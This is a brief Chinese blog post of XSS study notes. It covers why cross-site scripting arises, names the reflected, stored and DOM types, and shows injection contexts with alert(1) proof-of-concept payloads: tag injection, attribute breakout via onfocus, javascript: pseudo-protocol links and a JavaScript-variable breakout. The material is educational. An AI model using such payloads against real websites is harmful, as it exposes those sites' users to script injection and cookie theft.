XSS学习简记

CZMM@dehua

已于 2023-04-26 15:03:32 修改

阅读量129

点赞数

分类专栏：安全文章标签： xss 安全

于 2023-04-25 23:28:45 首次发布

本文链接：https://blog.youkuaiyun.com/weixin_61675401/article/details/130372705

版权

安全专栏收录该内容

9 篇文章

订阅专栏

XSS攻击是由于Web程序缺乏对用户输入的过滤，导致恶意HTML/JavaScript代码注入，影响网页语义。攻击包括反射型、存储型和DOM型，常见于HTML标签、属性和JavaScript变量中。攻击者可利用XSS盗取cookie，探测系统漏洞并进行内网扫描。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

xss产生原因是由于web程序对用户的输入过滤不足，导致用户输入的恶意HTML/JavaScript代码注入到网页中，混淆原有语义，产生新的恶意语言。其他用户访问网页时，浏览器就会触发恶意网特代码，从而达到xss攻击的目的。

XSS分类

反射形

存储型

DOM型

XSS注入点

1、html标签之间

<h1>hello <?=$name?></h1>
payload：<script>alert</script>

2、标签属性中

<input type="text" name="test123" value="<?=$name?>">
payload：<input type="test" name=“test23” value="" autofocus onfocus="alert(1)">

伪协议

<a href="javascript:alert(1)">clik</a>
<iframe src="javascript:alert(1)"></iframe>

3、JavaScript变量中

<?php
 $name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
        <title>test</title>
</head>
<body>
        <script type="text/javascript">
                var name = "<?=$name?>";
                document.write("hello "+name);
        </script>
</body>
</html>
 
payload：?name=lusong"%2balert(1);//        %2b ------ +
         ?name=lusong";alert(1);//          换行执行